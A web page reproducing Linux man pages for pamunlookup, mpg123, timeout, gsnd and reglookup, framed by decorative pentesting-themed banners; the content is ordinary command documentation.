               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

368 - Linux cli command pamunlookup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamunlookup and provides detailed information about the command pamunlookup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamunlookup.

.

NAME 🖥️ pamunlookup 🖥️

inverse of pamlookup

SYNOPSIS

pamunlookup **-lookupfile=**lookupfile inputfile

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamunlookup is best described as the inverse of pamlookup (without -byplane). For example, the following normally yields output identical to the input:

    $ cat input.ppm | \
        pamunlookup -lookupfile=map.pam | \
        pamlookup -lookupfile=map.pam \
        > output.ppm

Specifically, pamunlookup takes an input image and produces an output image of the same width and height in which each tuple is a single number. That number is the index in a given lookup table of the tuple value that is in the same position in the input image.

You specify the lookup table the same way as for pamlookup .

Where a tuple in the input image is not in the lookup table, the number pamunlookup places in the output index image is one greater than the highest index in the lookup table. Accordingly, the maxval of the output index image is the size of the lookup table.

Example

Here is an example of pamunlookup’s function.

Consider an input image consisting of a 3x2 PPM as follows:

redyellowred
beigebeigebeige

and a lookup table consisting of a 3x1 PPM image as follows:

redyellowbeige

The lookup table above says Index 0 corresponds to the color red, Index 1 corresponds to yellow, and Index 2 corresponds to beige. The output of pamunlookup is the following index image:

010
222

Miscellaneous

The inputfile argument identifies the file containing the index PAM or PNM image. - means Standard Input. It won’t work if both the input image file and lookup table file are Standard Input.

The output index image goes to Standard Output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamunlookup recognizes the following command line option:

**-lookupfile=**lookupfile
lookupfile names the file that contains the PAM or PNM image that is the lookup table. This option is mandatory.

SEE ALSO

pamlookup(1) , ppmchange(1) , pnmcolormap(1) , pnm(1) , pam(1)

HISTORY

pamunlookup was new in Netpbm 10.72 (September 2015).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamunlookup.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

369 - Linux cli command mpg123-pulse

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpg123-pulse and provides detailed information about the command mpg123-pulse, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpg123-pulse.

NAME 🖥️ mpg123-pulse 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
http://sourceforge.net/projects/mpg123

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

370 - Linux cli command timeout

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command timeout and provides detailed information about the command timeout, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the timeout.

NAME 🖥️ timeout 🖥️

run a command with a time limit

SYNOPSIS

timeout [OPTION] DURATION COMMAND [ARG]…
timeout [OPTION]

DESCRIPTION

Start COMMAND, and kill it if still running after DURATION.

Mandatory arguments to long options are mandatory for short options too.

–preserve-status

exit with the same status as COMMAND, even when the

command times out

–foreground

when not running timeout directly from a shell prompt,

allow COMMAND to read from the TTY and get TTY signals; in this mode, children of COMMAND will not be timed out

-k, –kill-after=DURATION

also send a KILL signal if COMMAND is still running

this long after the initial signal was sent

-s, –signal=SIGNAL

specify the signal to be sent on timeout;

SIGNAL may be a name like ‘HUP’ or a number; see ‘kill -l’ for a list of signals

-v, –verbose
diagnose to stderr any signal sent upon timeout

–help
display this help and exit

–version
output version information and exit

DURATION is a floating point number with an optional suffix: ’s’ for seconds (the default), ’m’ for minutes, ‘h’ for hours or ’d’ for days. A duration of 0 disables the associated timeout.

Upon timeout, send the TERM signal to COMMAND, if no other SIGNAL specified. The TERM signal kills any process that does not block or catch that signal. It may be necessary to use the KILL signal, since this signal can’t be caught.

Exit status:

124
if COMMAND times out, and –preserve-status is not specified

125
if the timeout command itself fails

126
if COMMAND is found but cannot be invoked

127
if COMMAND cannot be found

137
if COMMAND (or timeout itself) is sent the KILL (9) signal (128+9)

-
the exit status of COMMAND otherwise

BUGS

Some platforms don’t currently support timeouts beyond the year 2038.

AUTHOR

Written by Padraig Brady.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

kill(1)

Full documentation <https://www.gnu.org/software/coreutils/timeout>
or available locally via: info ‘(coreutils) timeout invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

371 - Linux cli command gsnd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gsnd and provides detailed information about the command gsnd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gsnd.

NAME 🖥️ gsnd 🖥️

Run ghostscript (PostScript and PDF engine) without display

SYNOPSIS

gsnd [ options ] [ files ] …

DESCRIPTION

This script simply invokes gs(1) with the -NODISPLAY flag, followed by any other arguments from the command-line.

SEE ALSO

gs(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

372 - Linux cli command reglookup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command reglookup and provides detailed information about the command reglookup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the reglookup.

NAME 🖥️ reglookup 🖥️

Windows NT+ registry reader/lookup tool

SYNOPSIS

reglookup [options] registry-file

DESCRIPTION

reglookup is designed to read windows registry elements and print them out to stdout in a CSV-like format. It has filtering options to narrow the focus of the output. This tool is designed to work with on Windows NT-based registries.

OPTIONS

reglookup accepts the following parameters:

-p prefix-filter
Specify a path prefix filter. Only keys/values under this registry path will be output.

-t type-filter
Specify a type filter. Only elements which match this registry data type will be printed. Acceptable values are: NONE, SZ, EXPAND_SZ, BINARY, DWORD, DWORD_BE, LINK, MULTI_SZ, RSRC_LIST, RSRC_DESC, RSRC_REQ_LIST, QWORD and KEY .

-h
Enables the printing of a column header row. (default)

-i
Printed values inherit the timestamp of their parent key, which is printed along with them. Note that this timestamp is not necessarily meaningful for any given value values because timestamps are saved on keys only and you cannot tell which value has been modified since a change to any value of a given key would update the time stamp.

-H
Disables the printing of a column header row.

-s
Adds five additional columns to output containing information from key security descriptors and rarely used fields. The columns are: owner, group, sacl, dacl, class. (This feature’s output has not been extensively tested.)

-S
Disables the printing of security descriptor information. (default)

-v
Verbose output.

registry-file
Required argument. Specifies the location of the registry file to read. The system registry files should be found under: %SystemRoot%/system32/config.

OUTPUT

reglookup generates comma-separated values (CSV) and writes them to stdout. The format is designed to simplify parsing algorithms of other tools by quoting CSV special characters using a common hexadecimal format. Specifically, special characters or non-ascii bytes are converted to “%XX” where XX is the hexadecimal value for the byte.

The number of columns or fields in each line is fixed for a given run of the program, but may vary based on the command line options provided. See the header line for information on which fields are available and what they contain.

